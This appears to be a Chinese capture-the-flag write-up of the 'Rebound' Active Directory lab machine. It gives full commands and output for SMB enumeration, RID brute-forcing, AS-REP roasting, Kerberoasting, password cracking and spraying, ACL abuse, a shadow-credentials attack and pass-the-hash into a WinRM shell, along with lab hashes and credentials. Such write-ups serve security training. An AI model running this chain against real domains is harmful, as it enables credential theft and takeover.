47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49690/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49691/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49707/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49722/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49743/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25894/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 51292/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 57722/udp): CLEAN (Failed to receive data)
|   Check 4 (port 27073/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h58m55s, deviation: 0s, median: 6h58m55s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-10-13T15:25:34
|_  start_date: N/A

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.50 seconds
           Raw packets sent: 29 (1.252KB) | Rcvd: 26 (1.128KB)


nxc对smb协议进行常规枚举

使用NetExec（nxc）对SMB服务进行匿名枚举

-u ‘guest’ -p ‘’: 使用guest用户空密码进行匿名访问

–shares: 枚举可访问的共享文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.31 -u 'guest' -p '' --shares 
SMB         10.129.232.31   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.31   445    DC01             [+] rebound.htb\guest: 
SMB         10.129.232.31   445    DC01             [*] Enumerated shares
SMB         10.129.232.31   445    DC01             Share           Permissions     Remark
SMB         10.129.232.31   445    DC01             -----           -----------     ------
SMB         10.129.232.31   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.232.31   445    DC01             C$                              Default share
SMB         10.129.232.31   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.232.31   445    DC01             NETLOGON                        Logon server share 
SMB         10.129.232.31   445    DC01             Shared          READ            
SMB         10.129.232.31   445    DC01             SYSVOL                          Logon server share

> 关键发现：
> - Null Auth:True: 允许空身份认证
> - IPC$和Shared共享具有READ权限
> - signing:True: SMB签名已启用（需要注意后续LDAP连接）

将域名写入hosts，顺便探查可读共享文件夹Shared。

添加DNS解析记录，方便后续Kerberos认证（Kerberos要求使用FQDN）

1
2
3
4
5
6
7
8
9
10
11
12
13
10.129.232.31 rebound.htb dc01.rebound.htb dc.rebound.htb
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# smbclient -N //10.129.232.31/Shared
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Aug 25 21:46:36 2023
  ..                                  D        0  Fri Aug 25 21:46:36 2023

		4607743 blocks of size 4096. 1004124 blocks available
smb: \> 

> Shared共享为空，没有可利用的文件

没东西，继续枚举用户

尝试使用–users参数枚举域用户，但未返回结果

1
2
3
4
5
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.31 -u 'guest' -p '' --users 
SMB         10.129.232.31   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.31   445    DC01             [+] rebound.htb\guest:

rid爆破，爆破范围设为10000

RID（Relative Identifier）爆破：通过枚举RID来发现域用户和组

RID是Windows对象的相对标识符，用户从1000开始递增

这里设置范围为10000，足以覆盖大部分用户账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.31 -u 'guest' -p '' --rid-brute 10000
SMB         10.129.232.31   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.31   445    DC01             [+] rebound.htb\guest: 
SMB         10.129.232.31   445    DC01             498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.232.31   445    DC01             500: rebound\Administrator (SidTypeUser)
SMB         10.129.232.31   445    DC01             501: rebound\Guest (SidTypeUser)
SMB         10.129.232.31   445    DC01             502: rebound\krbtgt (SidTypeUser)
SMB         10.129.232.31   445    DC01             512: rebound\Domain Admins (SidTypeGroup)
SMB         10.129.232.31   445    DC01             513: rebound\Domain Users (SidTypeGroup)
SMB         10.129.232.31   445    DC01             514: rebound\Domain Guests (SidTypeGroup)
SMB         10.129.232.31   445    DC01             515: rebound\Domain Computers (SidTypeGroup)
SMB         10.129.232.31   445    DC01             516: rebound\Domain Controllers (SidTypeGroup)
SMB         10.129.232.31   445    DC01             517: rebound\Cert Publishers (SidTypeAlias)
SMB         10.129.232.31   445    DC01             518: rebound\Schema Admins (SidTypeGroup)
SMB         10.129.232.31   445    DC01             519: rebound\Enterprise Admins (SidTypeGroup)
SMB         10.129.232.31   445    DC01             520: rebound\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.232.31   445    DC01             521: rebound\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.232.31   445    DC01             522: rebound\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.232.31   445    DC01             525: rebound\Protected Users (SidTypeGroup)
SMB         10.129.232.31   445    DC01             526: rebound\Key Admins (SidTypeGroup)
SMB         10.129.232.31   445    DC01             527: rebound\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.232.31   445    DC01             553: rebound\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.232.31   445    DC01             571: rebound\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.232.31   445    DC01             572: rebound\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.232.31   445    DC01             1000: rebound\DC01$ (SidTypeUser)
SMB         10.129.232.31   445    DC01             1101: rebound\DnsAdmins (SidTypeAlias)
SMB         10.129.232.31   445    DC01             1102: rebound\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.232.31   445    DC01             1951: rebound\ppaul (SidTypeUser)
SMB         10.129.232.31   445    DC01             2952: rebound\llune (SidTypeUser)
SMB         10.129.232.31   445    DC01             3382: rebound\fflock (SidTypeUser)
SMB         10.129.232.31   445    DC01             5277: rebound\jjones (SidTypeUser)
SMB         10.129.232.31   445    DC01             5569: rebound\mmalone (SidTypeUser)
SMB         10.129.232.31   445    DC01             5680: rebound\nnoon (SidTypeUser)
SMB         10.129.232.31   445    DC01             7681: rebound\ldap_monitor (SidTypeUser)
SMB         10.129.232.31   445    DC01             7682: rebound\oorend (SidTypeUser)
SMB         10.129.232.31   445    DC01             7683: rebound\ServiceMgmt (SidTypeGroup)
SMB         10.129.232.31   445    DC01             7684: rebound\winrm_svc (SidTypeUser)
SMB         10.129.232.31   445    DC01             7685: rebound\batch_runner (SidTypeUser)
SMB         10.129.232.31   445    DC01             7686: rebound\tbrady (SidTypeUser)
SMB         10.129.232.31   445    DC01             7687: rebound\delegator$ (SidTypeUser)

> 成功枚举到13个用户账户：
> - 标准域用户：ppaul, llune, fflock, jjones, mmalone, nnoon
> - 服务账户：ldap_monitor, winrm_svc, batch_runner
> - 特殊账户：oorend, tbrady
> - 机器账户：delegator$ (以$结尾表示机器账户)
> - 组账户：ServiceMgmt (SidTypeGroup)

将用户写入文件，尝试使用AS-REP ROASTING攻击。

AS-REP Roasting攻击原理：

  • 针对设置了”不需要Kerberos预认证”属性的用户
  • 可以在不知道密码的情况下请求到AS-REP响应
  • AS-REP响应中包含用户密码加密的部分，可以离线破解
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# cat users.txt 
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
ServiceMgmt
winrm_svc
batch_runner
tbrady
delegator$
                                                
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-GetNPUsers rebound.htb/ -usersfile users.txt -dc-ip 10.129.232.31 -format hashcat -outputfile asrep_hashes.txt
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] User ppaul doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User llune doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User fflock doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jjones@REBOUND.HTB:39f0d351664c39a3da345da3a648e29d$947677cd7d84d6f50890847f4a881187641c273c24733222cb72850f9ff793870edd1c246e7e6670c8f6cc58b89329ce491acbfc955f32377f3c73674a1eda6ba4e9d2c430c4e0ce250866a0d39c9f276d28d12b8fafa142fcf3a7cd5547fa8f8683c2fbb38294d2530588880c4a9c96fd3834c2ff39b8618288987685111f36cb3a962991c96e1b13626f2f432ea2bc41c6a08be842052aac93f0a21008309214b6c013a098777694f80c9572c533c82b71f050f3ea4992304778477316844ec4c551765ba0ef5270b0ef07f8f3e2d200f473e177d1f7500bcdc8b6ddc24265e31dd89522a6e18fc759
[-] User mmalone doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nnoon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_monitor doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User oorend doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User batch_runner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tbrady doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User delegator$ doesn't have UF_DONT_REQUIRE_PREAUTH set

> 关键发现：
> - jjones用户设置了UF_DONT_REQUIRE_PREAUTH（不需要预认证）
> - 成功获取到jjones的AS-REP哈希（$krb5asrep$23$格式）
> - 这个哈希可以用于离线暴力破解

得到hash后使用john破解，但这里并没有破解出来。

使用John the Ripper尝试破解AS-REP哈希

使用rockyou.txt字典进行破解，但密码不在常见字典中

1
2
3
4
5
6
7
8
9
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# john hash.txt --wordlist=rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:10 DONE (2026-10-13 08:36) 0g/s 1399Kp/s 1399Kc/s 1399KC/s !!12Honey..*7¡Vamos! 
Session completed.

不过我们已经知道了jjones是无需预认证的用户，我们可以利用该用户进行无密码的Kerberoasting

Kerberoasting攻击原理：

  • 请求服务账户的TGS（服务票据）
  • TGS使用服务账户的密码加密，可以离线破解
  • 关键技巧：使用-no-preauth参数，利用jjones的无预认证特性
  • 不需要jjones的密码就能以其身份请求其他服务的TGS票据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-GetUserSPNs rebound.htb/ -no-preauth jjones -usersfile users.txt -dc-ip 10.129.232.31
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: fflock - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$540f78acab2b57ebc3ee062df8fd29f1$e21622a8851bc31808b733bd968302b59df5ebc74413934a98d6c74c73ca840f803c8faf0fd46fc9f075ee504af3f7f9c0e8b5cf8bc3f171d9011a38d9a31b68a3ff245bb28729ab3d86ebbaf3a5c091c3dd22548490d76c702dcfd31b80594f30fa1ea26ed45842138070a3c2edb2f1d583970c4ba602ca0b3eacea2817510a6ebde6bc89ab10fd3409015d7fff48ee3da738a78c1b7738260d4fed3c62b4924a94f193bd35994cc086f94c77e99e49ede03dea7b3d4a2e301c11e6f7d29031e29ddb5f961804b6f01d5e56b729f82c82b163ca684a84ba94d0814fdd6c9d67104d0d6eb87d32953e98d304462176dae0eb4c2f6c9a6a802e32d309dfae55e45ea8ecedaa15288e8bd384bc5ffbe325189947be44cfc1fab55170075d348143f57011f6007affde4e9e4cf7f176d4b879c594f456049bbabe22f25f66e4ae2680353a38089278220bfc7848559f6052be47d6b5647718f4a875b18c5bc2f172259013a8ad1f59b88265c40a5ed7b6f4d34f587de2970b006ac99f8ce8bd4b3d409a15b0dd7b196bb4bf13a638e2802ec7d7cff94837e4742d3389ae86c2915f3edf00654a0e3e9617eec8726f8c22e2f9e1ef3168b40a30932a902993ac684e49cde0e0533fdb7e6c02ab42cc1f955d155f5def9c9d4c55e5f954f0cbed1b5ca2ba79cfd0a0095e8f5819362333ea014a9759be879d251596d9b812e426380a344bf112c6669d951819d675ba2cf6ad3fc8b9176c4f5c2ad11073f8bbc721e966c149e70437caeb203a59d296310a2a577263603e3ca8759e7c7ac595ba6331151823d8a593015730e099cab55744f6f131a172cd677e246edb345c961347bf79eecb257a03e8f9d38a8ec24af4ed0f5f07923fbdc7500f40e5f293a0ce843fe1f1677486c0ea99ef3230ec7afeda6d0fc177f29fdfbfa4f1db7676c85715a2d7f3ad2dc5fcbc21dbc29d3339f0c965c8389c981d0bbff105ad9ba63af39e24bde4d4d9212f73dc9e4666e2b5c2fa614b62ae1fa3223d589ed4332aa5b6d1f86513ff9f7f9fdbae846932a16622369e171533e29432a14f47affee657bda465cd9ebf9f9f7588783b6ae6c88cdd1a3ecbb39a94d33d2a747edbf994fc2312051c5558dfba82dd2e633c6f11988513941f26cda7e9bb04a295cde519eccfb9520e6c5227b5bc1b2c9236904238c9cfc8becc64d045720ebe2666b31c1eec7fe48f39431a60fa89d7ab4becee6698c835a34a0831b405c0b5d4b9563206ab4d2a93df1c5868748c44a2c2d165ed211cc74154b49bea75c3967225a391a793a281420ff20a6d998efd3fba59837cd83e9707b4f82378b8d23ddd17ad65f1dc070bb078
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: ServiceMgmt - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$42de2da4dba45ed1c2e7de93$3717458c0159cfa0b6251c0799145e700ccc98401f5ff90b4a2ce135e0a6cc1ff45761befb38b0f43d578886ddb18d663000d10c67eef586be2fcb017e6da36f5d77cca6c27f5a469b515135314045ebd0018d5401a8950fa60cbbf9b3d7efae045a5dc2d9f01bf281cf9b74f49e648f6d2f3dec74bd25698279beded1c759e730d3fe08dc8a687838b8147b37561f5161ea130b683eae3d98b71341af5d07fd1845f49f9f99232108bd14384aae22fa2f96e4eacc195a0bc00f3ac42e2dec1edf21c10885a6e0254a44fadd88c4071908a2ee80f83a8a1c198bd3efe5d3762fd4254a78e60f10392ae1d1a5d28d094276ed33ff0e6963045e1485159567b733c9c104d85a9b2c016cc5e6575e8bd809957270d0de84427df59a372b8706d0d56c8e0b4e26fb136bee2f6afb0b33bed798c66d2513d30a3d3ccbc1e672e51344c789755ebfe24aab272e99dd75c22424e9c0df94c97ab695796f647b23b15c6510699a3d7a734104b29be704fe1bb0760e814e04bb96c1fab36e6a0e9d118836245d428e4af3aa620aa87957a4ccab71a4ec1be62cfda42f568516774b8ec996968669083cf258f6bb71383bec1fb80cf78d8cf9c480916edf0344863577ba08b49e1b62c18c6e1313b68fd7f828427366ce5d004eb6d460f99ea943f8950e0282b0008f63d5758a89e07a3d31b71f3d18b7aba7a22bb015d0dd72959ca11144fde51ae3a32748e1e96aee38370243a9a6e2839e35d3a5a5578c552016fb5f98f288e4fbc1e893a7e6c280c80b2b7d63f6e83be8a339a9614446537588263e0a1b8d17959830c9020102479e2d2e5969c7d9e7431ec29537d513fc2703ff28988ac0b08079b1bad1e3ac3c1e56aec07e1f40b914d7752eff8f985e4afa9f3593f7258ce49c60335decf73458ffb02c169d58708fa9ee084ac5e9d2221eadf486ab8fe3930b0aa8004a3280657efb81ef96fb933f424b54a2b87acc2a65dbd1ebfa1c28a70206aeb6406b6dd831ead2c995b6278e39a6befd48a79f8f37b5e9004c9443fcdca3acbc5ed170a66de3c0cbbaeff9d0674a8592d7615fe017fba73e8074418ae69e96bea4ef4c17b9f52c2a40f95202ef3c5fed407d70e8fb300f4cf61420a69baf16b25fdc261321b4fd0f177dc03129946bed9d2ce8d42f1f187e7e916c1bb132b10ec3daf4aec0909f8a93150e46c8d0b4282124f99de53d549413447e22380866400404ad23b04a458313ff513d727fcd92379ad83ffa81bb7c9175d342162bb91c9a52517599c9d7fd544f35064ce9a63ad0fc5a13424f3501cf199019320e1eca951524495facbb825b696726cb1673f1415ed42360ef4492eaca2f318460839f9f04

> 攻击成功！获取到两个TGS票据：
> 1. ldap_monitor的TGS ($krb5tgs$23$格式 - RC4加密)
> 2. delegator$的TGS ($krb5tgs$18$格式 - AES加密)
> - ldap_monitor是LDAP监控服务账户，通常权限较高
> - delegator$是机器账户，后续可能有委派权限

得到两个哈希，继续使用john破解

最终破解出了ldap_monitor的密码

John成功破解ldap_monitor的TGS哈希

密码：1GR8t@$$4u（看起来是”1 Great ass for you”的变体）

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# john hash.txt --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1GR8t@$$4u       (?)     
1g 0:00:00:05 DONE (2026-10-13 08:39) 0.1788g/s 2332Kp/s 2332Kc/s 2332KC/s 1Gobucs!..1DENA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

进行密码喷洒，查询使用相同密码的用户

密码喷洒（Password Spraying）：

  • 使用破解出的密码1GR8t@$$4u在所有用户账户上尝试
  • –continue参数：即使某个账户认证失败也继续尝试其他账户
  • 目的：发现多个用户使用相同密码的情况（弱密码管理）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 10.129.232.31 -u users.txt -p '1GR8t@$$4u' --continue
SMB         10.129.232.31   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.31   445    DC01             [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\fflock:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [+] rebound.htb\ldap_monitor:1GR8t@$$4u 
SMB         10.129.232.31   445    DC01             [+] rebound.htb\oorend:1GR8t@$$4u 
SMB         10.129.232.31   445    DC01             [+] rebound.htb\ServiceMgmt:1GR8t@$$4u (Guest)
SMB         10.129.232.31   445    DC01             [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB         10.129.232.31   445    DC01             [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE

> 密码喷洒结果：
> - ldap_monitor: 确认密码正确
> - oorend: 使用相同密码（关键发现！）
> - ServiceMgmt: Guest账户（权限有限）
> - oorend是我们的下一个目标账户

得到oorend和ServiceMgmt，其中ServiceMgmt是guest，故用oorend进行一波bloodhound收集。

但在使用rusthound进行收集时报错了

尝试使用RustHound收集BloodHound数据

错误：LDAP签名要求（strongerAuthRequired）

DC要求启用完整性检查，需要使用LDAPS或Kerberos认证

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./rusthound -d rebound.htb -i 10.129.232.31 -u 'oorend@rebound.htb' -p '1GR8t@$$4u' -o rusthound_out -z
---------------------------------------------------
Initializing RustHound at 15:44:10 on 10/13/26
Powered by g0h4n from OpenCyber
---------------------------------------------------

[2026-10-13T15:44:10Z INFO  rusthound] Verbosity level: Info
[2026-10-13T15:44:10Z ERROR rusthound::ldap] Failed to authenticate to REBOUND.HTB Active Directory. Reason: LDAP operation result: rc=8 (strongerAuthRequired), dn: "", text: "00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563"

那么先请求票据，然后再使用票据进行检查

解决LDAP签名问题的方案：

  • 使用impacket-getTGT获取oorend的Kerberos TGT票据
  • 将票据保存到环境变量KRB5CCNAME
  • bloodhound-python使用-k参数进行Kerberos认证
  • 这样可以绕过LDAP签名要求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME=oorend.ccache 
                                                                                                       
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodhound-python -u oorend -k -d rebound.htb -ns 10.129.232.31 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
Password: 
INFO: Found AD domain: rebound.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to GC LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Connecting to LDAP server: dc01.rebound.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 16 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.rebound.htb
INFO: Done in 00M 31S
INFO: Compressing output into 20261013154718_bloodhound.zip

> BloodHound数据收集成功：
> - -k: 使用Kerberos认证
> - -c All: 收集所有类型的数据
> - --zip: 打包成zip文件便于导入
> - 自动切换到LDAPS（636端口）解决签名问题
> - 收集到16个用户、53个组、1台计算机

BloodHound分析 - 第一个关键权限：

BloodHound分析 - 第二个关键权限：

查看SERVICE USERS@REBOUND.HTB，发现WINRM_SVC@REBOUND.HTB在此组中，该成员可以远程登录主机。

攻击路径分析：

  1. oorend有AddSelf权限 → 可以将自己加入ServiceMgmt组
  2. ServiceMgmt组有GenericAll权限 → 可以完全控制SERVICE USERS OU
  3. winrm_svc在SERVICE USERS OU中 → 可以对其进行攻击
  4. winrm_svc可以远程登录 → 获取Shell的目标账户

那么利用链已经清晰，开始利用

首先将OOREND@REBOUND.HTB加入SERVICEMGMT@REBOUND.HTB

使用bloodyAD工具执行权限提升链：

  • add groupMember: 将oorend添加到ServiceMgmt组
  • 这样oorend就继承了ServiceMgmt组的所有权限
1
2
3
4
5
6
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -d rebound.htb -u oorend -p '1GR8t@$$4u' -H 10.129.232.31 add groupMember SERVICEMGMT oorend
[+] oorend added to SERVICEMGMT

> 成功将oorend添加到ServiceMgmt组

给 oorend 赋予对整个 OU 的全部权限

现在oorend是ServiceMgmt组成员，利用GenericAll权限：

  • add genericAll: 直接给oorend用户赋予对SERVICE USERS OU的GenericAll权限
  • 这样即使不通过组也能直接操作OU中的对象
  • OU=SERVICE USERS,DC=REBOUND,DC=HTB: LDAP的DN格式
1
2
3
4
5
6
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host 10.129.232.31 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB

> 成功赋予oorend对SERVICE USERS OU的完全控制权限

使用影子凭据攻击

影子凭据（Shadow Credentials）攻击原理：

  • 利用GenericAll权限修改目标用户的msDS-KeyCredentialLink属性
  • 添加自己生成的公钥证书到该属性
  • 使用对应的私钥请求该用户的TGT
  • 通过PKINIT协议获取用户的NT哈希
  • certipy-ad的auto模式会自动完成整个流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# certipy-ad shadow -u oorend@rebound.htb -p '1GR8t@$$4u' -dc-ip 10.129.232.31 auto -account winrm_svc
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4b6296a365b54ec281f04f399214f78e'
[*] Adding Key Credential with device ID '4b6296a365b54ec281f04f399214f78e' to the Key Credentials for 'winrm_svc'
[*] Successfully added Key Credential with device ID '4b6296a365b54ec281f04f399214f78e' to the Key Credentials for 'winrm_svc'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'winrm_svc@rebound.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'winrm_svc.ccache'
[*] Wrote credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': 4469650fd892e98933b4536d2e86e512

> 影子凭据攻击执行流程：
> 1. 生成证书和Key Credential
> 2. 将Key Credential添加到winrm_svc的msDS-KeyCredentialLink属性
> 3. 使用生成的证书通过PKINIT认证获取TGT
> 4. 使用U2U协议从TGT中提取NT哈希
> 5. 恢复原始的Key Credentials（清理痕迹）
> - 成功获取winrm_svc的NT哈希：4469650fd892e98933b4536d2e86e512

得到哈希，登录拿到userflag

使用Evil-WinRM通过Pass-the-Hash登录：

  • -H: 使用NT哈希认证（无需明文密码）
  • winrm_svc有WinRM远程管理权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# evil-winrm -i 10.129.232.31 -u winrm_svc -H 4469650fd892e98933b4536d2e86e512
                                        
Evil-WinRM shell v3.9 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
